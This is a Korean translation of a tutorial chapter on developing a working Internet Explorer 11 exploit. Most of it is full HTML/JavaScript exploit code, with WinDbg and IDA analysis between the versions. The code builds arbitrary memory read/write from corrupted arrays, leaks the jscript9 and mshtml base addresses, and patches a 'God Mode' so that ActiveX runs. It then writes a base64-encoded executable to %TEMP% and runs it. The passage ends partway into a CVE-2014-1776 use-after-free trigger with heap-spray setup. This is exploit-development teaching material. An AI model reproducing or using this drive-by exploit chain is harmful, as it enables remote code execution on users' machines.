티스토리 뷰

본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다. 


http://expdev-kiuhnm.rhcloud.com



최신 윈도우즈 익스플로잇 개발 19. IE 11 (Part 2)


hackability.kr (김태범)

hackability_at_naver.com or ktb88_at_korea.ac.kr

2016.07.22



이전 POC 에서는 페이지가 모두 로드된 이후에 자바스크립트가 동작해야 하기 때문에 window.onload를 사용했습니다. 본 익스플로잇 역시 동일해야 하며 몇몇 변경이 필요한 부분이 있습니다. 아래는 전체 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000++i) {
      a[i] = new Array(array_len);
      a[i][0= 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4= 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0== 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4= 0x3fffffff;
    a[idx][array_len + 0x18/4= 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4= val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4= val;
    }
    
    function get_addr(obj) {
      a[idx+2][0= obj;
      return read(base_addr + 0x10000);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
    //      v
    //  04ab2d50 151f1ec0 00000000 00000000
    //  6f5569ce 00000000 0085f5d8 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x2d50;
    mshtml = read(addr + 0x10- 0x1569ce;
    
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50+ 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 40x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
    
    function decode(b64Data) {
      var data = window.atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
//      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
cs


여기서 runcalc 를 생략했습니다. 전체 코드는 아래 링크에서 다운 받을 수 있습니다.

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code6.zip

 

이를 실행시키면, 익숙한 알림창이 뜨게 됩니다.



뭔가 변경 되어 God Mode 가 더이상 동작하지 않음을 뜻합니다.

 

먼저, jscript9 mshtml이 정확한 기본 주소를 갖는지 확인하기 위해 2개의 알림창을 추가합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
// Back to determining the base address of MSHTML...
// Here's the beginning of the element div:
//      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
//      v
//  04ab2d50 151f1ec0 00000000 00000000
//  6f5569ce 00000000 0085f5d8 00000000
//      ^
//      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x2d50;
mshtml = read(addr + 0x10- 0x1569ce;
alert(jscript9.toString(16));
alert(mshtml.toString(16));
cs


addr 주소의 객체를 분석할 때, 뭔가 빠졋음을 알았습니다.


0:021> dd 3c600e0

03c600e0  6cd75480 03c54120 00000000 03c6cfa0

03c600f0  029648a0 03c6af44 03c6af74 00000000

03c60100  6cd7898c 00000001 00000009 00000000

03c60110  0654d770 00000000 00000000 00000000

03c60120  6cd75480 03c54120 00000000 03c6c000

03c60130  029648a0 03c6a3d4 03c6af44 00000000

03c60140  6cd75480 03c54120 00000000 03c6cfb0

03c60150  029648a0 029648c0 03c60194 00000000

0:021> ln 6cd75480

(6cd75480)   jscript9!HostDispatch::`vftable'   |  (6cd755d8)   jscript9!Js::ConcatStringN<4>::`vftable'

Exact matches:

    jscript9!HostDispatch::`vftable' = <no type information>

0:021> ln 029648a0

0:021> dds 3c600e0

03c600e0  6cd75480 jscript9!HostDispatch::`vftable'

03c600e4  03c54120

03c600e8  00000000

03c600ec  03c6cfa0

03c600f0  029648a0

03c600f4  03c6af44

03c600f8  03c6af74

03c600fc  00000000

03c60100  6cd7898c jscript9!HostVariant::`vftable'

03c60104  00000001

03c60108  00000009

03c6010c  00000000

03c60110  0654d770

03c60114  00000000

03c60118  00000000

03c6011c  00000000

03c60120  6cd75480 jscript9!HostDispatch::`vftable'

03c60124  03c54120

03c60128  00000000

03c6012c  03c6c000

03c60130  029648a0

03c60134  03c6a3d4

03c60138  03c6af44

03c6013c  00000000

03c60140  6cd75480 jscript9!HostDispatch::`vftable'

03c60144  03c54120

03c60148  00000000

03c6014c  03c6cfb0

03c60150  029648a0

03c60154  029648c0

03c60158  03c60194

03c6015c  00000000


어떻게 vftable 포인터 없이 mshtml.dll의 기본 주소를 결정할 수 있을까요?

 

다른 방법을 찾아야 합니다. 우리는 jscript9!HostDispatch 종류의 객체에 의해 div 가 표현됨을 배웠습니다. 하지만 해당 객체가 이미 동작하고 있는 것을 봤습니다. 충돌의 스택 트레이스를 기억하시나요


0:007> k 10

ChildEBP RetAddr  

0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup

0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e

0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28

0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64

0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3

0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20

0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a

0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24

0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa

0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6

0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c

0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49

0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d

0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae

0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94

0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a


아래 2 줄을 보시기 바랍니다.


0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d

0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae


이는 명백히 jscript9!HostDispatch::CallInvokeEx MSHTML!CBase::PrivateInvokeEx의 주소를 알고 있고, 만약 운이 좋다면 이 주소는 HostDispatch 객체로 부터 도달할 수 있습니다.

 

IDA에서 jscript9!HostDispatch::CallInvokeEx를 보도록 하겠습니다. IDA에서 jscript9을 불러와 Ctrl+P를 눌러 CallInvokEx로 이동합니다. 아무 명령이나 클릭하여 현재 함수에서의 오프셋을 확인합니다. 여기서 원하는 명령은 CallInvokeEx의 오프셋 0xae에 있는 명령입니다.



MSHTML!CBase::PrivateInvokeEx 주소는 eax+20h 주소에 있는 것 같습니다.

 

UAF 버그에서 했던 것 처럼, MSHTML!CBase::PrivateInvokeEx 주소가 어디서 왔는지 찾아보도록 하겠습니다.



여기서 GetHostVariantWrapper 함수를 조사해보도록 하겠습니다.



위 내용을 종합해보면 다음과 같습니다.


X = [this+0ch]

var_14 = [X+8]

X = var_14

obj_ptr = [X+10h]


좀 더 간단하게는 다음과 같습니다.


X = [this+0ch]

X = [X+8]

obj_ptr = [X+10h]


우리가 잘 왔는지 확인해보도록 하겠습니다. IE 에서 html 페이지를 다시 불러온 뒤, div 를 살펴보도록 하겠습니다.


0:022> dd 5360f20

05360f20  6cc55480 05354280 00000000 0536cfb0

05360f30  0419adb0 0536af74 0536afa4 00000000

05360f40  6cc5898c 00000001 00000009 00000000

05360f50  00525428 00000000 00000000 00000000

05360f60  05360f81 00000000 00000000 00000000

05360f70  00000000 00000000 00000000 00000000

05360f80  05360fa1 00000000 00000000 00000000

05360f90  00000000 00000000 00000000 00000000

0:022> ln 6cc55480

(6cc55480)   jscript9!HostDispatch::`vftable'   |  (6cc555d8)   jscript9!Js::ConcatStringN<4>::`vftable'

Exact matches:

    jscript9!HostDispatch::`vftable' = <no type information>

0:022> dd poi(5360f20+c)

0536cfb0  6cc52d44 00000001 05360f00 00000000

0536cfc0  6cc52d44 00000001 05360f40 00000000

0536cfd0  0536cfe1 00000000 00000000 00000000

0536cfe0  0536cff1 00000000 00000000 00000000

0536cff0  0536cf71 00000000 00000000 00000000

0536d000  6cc54534 0535d8c0 00000000 00000005

0536d010  00004001 047f0010 053578c0 00000000

0536d020  00000001 05338760 00000000 00000000

0:022> ln 6cc52d44

(6cc52d44)   jscript9!DummyVTableObject::`vftable'   |  (6cc52d50)   jscript9!Projection::ArrayObjectInstance::`vftable'

Exact matches:

    jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>

    jscript9!Js::FunctionInfo::`vftable' = <no type information>

    jscript9!Projection::UnknownThis::`vftable' = <no type information>

    jscript9!Projection::NamespaceThis::`vftable' = <no type information>

    jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>

    jscript9!RefCountedHostVariant::`vftable' = <no type information>

    jscript9!DummyVTableObject::`vftable' = <no type information>

    jscript9!Js::FunctionProxy::`vftable' = <no type information>

0:022> dd poi(poi(5360f20+c)+8)

05360f00  6cc5898c 00000005 00000009 00000000

05360f10  00565d88 00000000 00000000 00000000

05360f20  6cc55480 05354280 00000000 0536cfb0

05360f30  0419adb0 0536af74 0536afa4 00000000

05360f40  6cc5898c 00000001 00000009 00000000

05360f50  00525428 00000000 00000000 00000000

05360f60  05360f81 00000000 00000000 00000000

05360f70  00000000 00000000 00000000 00000000

0:022> ln 6cc5898c

(6cc5898c)   jscript9!HostVariant::`vftable'   |  (6cc589b5)   jscript9!Js::CustomExternalObject::SetProperty

Exact matches:

    jscript9!HostVariant::`vftable' = <no type information>

0:022> dd poi(poi(poi(5360f20+c)+8)+10)

00565d88  6f03eb04 00000001 00000000 00000008

00565d98  00000000 05360f08 00000000 00000000

00565da8  00000022 02000400 00000000 00000000

00565db8  07d47798 07d47798 5c0cccc8 88000000

00565dc8  003a0043 0057005c 006e0069 006f0064

00565dd8  00730077 0073005c 00730079 00650074

00565de8  0033006d 005c0032 00580053 002e0053

00565df8  004c0044 0000004c 5c0cccb0 88000000

0:022> ln 6f03eb04

(6f03eb04)   MSHTML!CDivElement::`vftable'   |  (6ede7f24)   MSHTML!s_propdescCDivElementnofocusrect

Exact matches:

    MSHTML!CDivElement::`vftable' = <no type information>


빙고! 문제가 해결되었습니다! 이제 vftable RVA 주소는 다음 연산으로 구할 수 있습니다.


0:005> ? 6f03eb04-mshtml

Evaluate expression: 3861252 = 003aeb04

jscript9!HostDispatch::`vftable` RVA도 구해야 합니다.


0:005> ? 6cc55480-jscript9

Evaluate expression: 21632 = 00005480


수정된 코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Here's the beginning of the element div:
//      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
//      v
//  6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
//   X = [div_elem+0ch]
//   X = [X+8]
//   obj_ptr = [X+10h]
//   vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc+ 8+ 0x10)) - 0x3aeb04;
alert(jscript9.toString(16));
alert(mshtml.toString(16));
return;
cs


시도 해보시길 바랍니다! 동작이 잘 될 겁니다.

 

이제 두 개의 알림창과 return 을 제거 합니다. ... 계산기가 뜨지 않는걸로 보아 하니 뭔가 문제가 있음이 분명합니다. (!?) 뭐가 문제인지 보기 위해 개발자 툴(Developer Tools) 를 사용합니다. 보아하니 개발자 툴이 활성화 되어 있으면 God Mode가 동작하지 않는 것 같습니다. ActiveXObject의 실행을 허용하면 다음과 같은 에러를 볼 수 있습니다.



운 좋게도, 문제는 간단합니다. atob IE9에서 사용할 수 없던 것이였습니다. atob를 위해 polyfill 이라는 것을 찾았습니다.

  • https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa


아래는 수정된 코드입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000++i) {
      a[i] = new Array(array_len);
      a[i][0= 0;
    }
    
    magic_addr = 0xc000000;
    
    //           /------- allocation header -------\ /--------- buffer header ---------\
    // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
    //                                                       array_len buf_len
    
    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
    
    // Locate the modified Array.
    var idx = -1;
    for (var i = 0; i < 0x1000 - 1++i) {
      // We try to modify the first element of the next Array.
      a[i][array_len + header_size/4= 1;
      
      // If we successfully modified the first element of the next Array, then a[i]
      // is the Array whose length we modified.
      if (a[i+1][0== 1) {
        idx = i;
        break;
      }
    }
    
    if (idx == -1) {
      alert("Can't find the modified Array");
      return;
    }
    
    // Modify the second Array for reading/writing everywhere.
    a[idx][array_len + 0x14/4= 0x3fffffff;
    a[idx][array_len + 0x18/4= 0x3fffffff;
    a[idx+1].length = 0x3fffffff;
    var base_addr = magic_addr + 0x10000 + header_size;
    
    // Very Important:
    //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
    //    converted to 64-bit floating point.
    //    This means that we can't, for instance, write
    //        a[idx+1][index] = 0xc1a0c1a0;
    //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
    //    We'll need to represent 0xc1a0c1a0 as a negative integer:
    //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
    
    function int2uint(x) {
      return (x < 0) ? 0x100000000 + x : x;
    }
 
    function uint2int(x) {
      return (x >= 0x80000000) ? x - 0x100000000 : x;
    }
 
    // The value returned will be in [0, 0xffffffff].
    function read(addr) {
      var delta = addr - base_addr;
      var val;
      if (delta >= 0)
        val = a[idx+1][delta/4];
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        val = a[idx+1][(0x100000000 + delta)/4];
      
      return int2uint(val);
    }
    
    // val must be in [0, 0xffffffff].
    function write(addr, val) {
      val = uint2int(val);
      
      var delta = addr - base_addr;
      if (delta >= 0)
        a[idx+1][delta/4= val;
      else
        // In 2-complement arithmetic,
        //   -x/4 = (2^32 - x)/4
        a[idx+1][(0x100000000 + delta)/4= val;
    }
    
    function get_addr(obj) {
      a[idx+2][0= obj;
      return read(base_addr + 0x10000);
    }
    
    // Here's the beginning of the element div:
    //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
    //      v
    //  6cc55480 05354280 00000000 0536cfb0
    //
    // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
    //   X = [div_elem+0ch]
    //   X = [X+8]
    //   obj_ptr = [X+10h]
    //   vftptr = [obj_ptr]
    // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
    var addr = get_addr(document.createElement("div"));
    jscript9 = read(addr) - 0x5480;
    mshtml = read(read(read(read(addr + 0xc+ 8+ 0x10)) - 0x3aeb04;
 
    var old1 = read(mshtml+0xebcd98+0x10);
    var old2 = read(mshtml+0xebcd98+0x14);
 
    function GodModeOn() {
      write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
      write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
    }
    
    function GodModeOff() {
      write(mshtml+0xebcd98+0x10, old1);
      write(mshtml+0xebcd98+0x14, old2);
    }
 
    // content of exe file encoded in base64.
    runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
 
    function createExe(fname, data) {
      GodModeOn();
      var tStream = new ActiveXObject("ADODB.Stream");
      var bStream = new ActiveXObject("ADODB.Stream");
      GodModeOff();
      
      tStream.Type = 2;       // text
      bStream.Type = 1;       // binary
      tStream.Open();
      bStream.Open();
      tStream.WriteText(data);
      tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
      tStream.CopyTo(bStream);
      
      var bStream_addr = get_addr(bStream);
      var string_addr = read(read(bStream_addr + 0x50+ 0x44);
      write(string_addr, 0x003a0043);       // 'C:'
      write(string_addr + 40x0000005c);   // '\'
      try {
        bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
      }
      catch(err) {
        return 0;
      }
      
      tStream.Close();
      bStream.Close();
      return 1;
    }
 
    // decoder
    // [https://gist.github.com/1020396] by [https://github.com/atk]
    function atob(input) {
      var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
      var str = String(input).replace(/=+$/'');
      if (str.length % 4 == 1) {
        throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
      }
      for (
        // initialize result and counters
        var bc = 0, bs, buffer, idx = 0, output = '';
        // get next character
        buffer = str.charAt(idx++);
        // character found in table? initialize bit storage and add its ascii value;
        ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
          // and if not first of each 4 characters,
          // convert the first 8 bits to one ascii character
          bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
      ) {
        // try to find character in table (0-63, not found => -1)
        buffer = chars.indexOf(buffer);
      }
      return output;
    }
 
    function decode(b64Data) {
      var data = atob(b64Data);
      
       // Now data is like
      //   11 00 12 00 45 00 50 00 ...
      // rather than like
      //   11 12 45 50 ...
      // Let's fix this!
      var arr = new Array();
      for (var i = 0; i < data.length / 2++i) {
        var low = data.charCodeAt(i*2);
        var high = data.charCodeAt(i*2 + 1);
        arr.push(String.fromCharCode(low + high * 0x100));
      }
      return arr.join('');
    }
 
    GodModeOn();
    var shell = new ActiveXObject("WScript.shell");
    GodModeOff();
    fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
    if (createExe(fname, decode(runcalc)) == 0) {
      alert("SaveToFile failed");
      window.location.reload();
      return 0;
    }
    shell.Exec(fname);
 
    alert("Done");
  }
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
cs


전과 동일하게 runcalc는 생략했습니다

  • http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code7.zip

 

이제 계산기가 뜨고 충돌이 발생하기 전까지 모든게 잘 동작하는 것 같습니다. 충돌은 항상 발생하지 않지만 코드에는 분명 문제가 있습니다. 충돌은 아마 잘못된 쓰기에 의해 발생될 것 입니다. God Mode가 정확히 동작한 이후, 이 문제는 bStream.SaveToFile 이 전의 2개의 쓰기에서 발생됩니다.

 

2개의 쓰기를 주석처리하고 다시 시도해봅니다. 이제 충돌이 발생되지 않습니다. 하지만 단순히 2개의 쓰기를 뺄 순 없습니다. 만약 우리가 SimpleServer를 이용한다면 2개의 쓰기가 필요하기 때문에 동작하지 않을 겁니다. 신기하게도 2개의 쓰기를 추가하면 정상적으로 잘 작동합니다.

 

이에 대해 조사를 해보면, 하드 디스크로부터 IE html 페이지를 불러오면 string_addr null dword를 가리킵니다. 반면에 127.0.0.1 로 부터 페이지를 불러오면 string_addr은 유니코드 문자열 http://127.0.0.1/ 을 가리킵니다. 이 때문에, 우리는 코드를 수정해야 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50+ 0x44);
if (read(string_addr) != 0) {         // only when there is a string to overwrite
    write(string_addr, 0x003a0043);       // 'C:'
    write(string_addr + 40x0000005c);   // '\'
}
try {
    bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
}
catch(err) {
    return 0;
}
cs



익스플로잇 완성 시키기


이제 익스플로잇을 완성 시킬 시간입니다. 아래는 전체 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
        v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
  magic_addr = 0xc000000;
 
  function dword2Str(dword) {
    var low = dword % 0x10000;
    var high = Math.floor(dword / 0x10000);
    if (low == 0 || high == 0)
      alert("dword2Str: null wchars not allowed");
    return String.fromCharCode(low, high);
  }
 
  function getPattern(offset_values, tot_bytes) {
    if (tot_bytes % 4 != 0)
      alert("getPattern(): tot_bytes is not a multiple of 4");
    var pieces = new Array();
    var pos = 0;
    for (i = 0; i < offset_values.length/2++i) {
      var offset = offset_values[i*2];
      var value = offset_values[i*2 + 1];
      var padding = new Array((offset - pos)/2 + 1).join("a");
      pieces.push(padding + dword2Str(value));
      pos = offset + 4;
    }
    // The "- 2" accounts for the null wchar at the end of the string.
    var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
    pieces.push(padding);
    return pieces.join("");
  }
 
  function trigger() {
    var head = document.getElementById("haed")
    tmp = document.createElement("CVE-2014-1776")
    document.getElementById("vml").childNodes[0].appendChild(tmp)
    tmp.appendChild(head)
    tmp = head.offsetParent
    tmp.onpropertychange = function(){
      this["removeNode"](true)
      document.createElement("CVE-2014-1776").title = ""
      
      var elem = document.createElement("div");
      elem.className = getPattern([
        0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
        0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
        0x198-1                           // bit 12 set
      ], 0x428);
    }
    head.firstChild.nextSibling.disabled = head
  }
 
  // The object is 0x428 bytes.
  // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
  //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
  //               [Y+208h] is 0
  //               [Y+630h+248h] = [Y+878h] val to inc!      <======
  //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
  //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
  //               [Y+1044h] is 0
  //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
  //               [W+0ah] has bit 1 set & bit 4 unset
  //               [W+44h] has bit 7 set
  //               [W+5ch] is writable
  //   [ptr+198h] has bit 12 set
 
  window.onload = function() {
    CollectGarbage();
 
    var header_size = 0x20;
    var array_len = (0x10000 - header_size)/4;
    var a = new Array();
    for (var i = 0; i < 0x1000++i) {
      a[i] = new Array(array_len);
 
      var idx;
      b = a[i];
      b[0= magic_addr + 0x1b - 0x878;         // Y
